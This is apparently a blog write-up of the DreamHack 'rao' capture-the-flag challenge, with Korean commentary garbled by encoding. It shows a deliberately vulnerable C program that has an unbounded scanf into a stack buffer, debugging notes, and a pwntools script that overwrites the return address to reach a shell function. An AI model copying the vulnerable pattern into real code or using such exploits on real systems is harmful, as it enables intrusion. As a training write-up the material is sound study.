728x90
๋ฐ์ํ
rao.c
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
๋ฒํผ์ ์ฌ์ด์ฆ๋ 0x28(40 bytes)์ด๋ฉฐ, get_shell() ํจ์๋ก return ํ๊ฒ ๋๋ฉด ์์ ํ๋ํ ์ ์๋จ ๊ฑธ ํ์ธ
checksec --file=rao
์คํ ์นด๋๋ฆฌ ๋ฏธ์ ์ฉ์ด๋ฏ๋ก ์ํ๋ ์ฃผ์๋ก ๋ฆฌํด ์กฐ์ ๊ฐ๋ฅ
file rao
* x86-64 ํ๊ฒฝ์
gdb
$ info functions get_shell ๋ช ๋ น๋ฌธ์ผ๋ก get_shell() ํจ์์ ์ฃผ์๋ 0x00000000004006aa๋๊ฑธ ํ์ธ
$ pd ๋ช ๋ น๋ฌธ์ผ๋ก buf์ ์ค์ ์ฌ์ด์ฆ๋ 0x30(48 bytes)๋๊ฑธ ํ์ธ
exploit.py
from pwn import *
r = remote("host3.dreamhack.games", 15865)
payload = b'a' * (48+8)
payload += p64(0x004006aa)
r.sendline(payload)
r.interactive()
64bit ์ฒด์ ์ด๋ฏ๋ก sfp๋ 8 ๋ฐ์ดํธ ์ถ๊ฐํ๊ณ get_shell() ํจ์์ ์ฃผ์๋ฅผ p64๋ก ํจํนํ์ฌ ์ค๋ค.
์๋ก ์๊ฒ๋ ๊ธฐ๋ฅ x/
๋ฉ๋ชจ๋ฆฌ ์ํ ๊ฒ์ฌ:
x/[๋ฒ์] [๋ฉ๋ชจ๋ฆฌ ์ฃผ์ or ํจ์๋ช ]
์คํ ์ฃผ๋ณ์ ์ด๋ค ๊ฐ์ด ๋ค์ด์๋์ง ํ์ธ์ด ๊ฐ๋ฅํ๋ค.
728x90
๋ฐ์ํ
'๐ดCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
DreamHack - Return to Shellcode ํ์ด (0) | 2023.05.01 |
---|---|
DreamHack - Quiz: x86 Assembly 1 (0) | 2023.05.01 |
DreamHack - basic_exploitation_000 ํ์ด (0) | 2023.04.26 |
DreamHack - basic_exploitation_001 ํ์ด (0) | 2023.04.25 |
DreamHack - login-1 ํ์ด (0) | 2023.03.27 |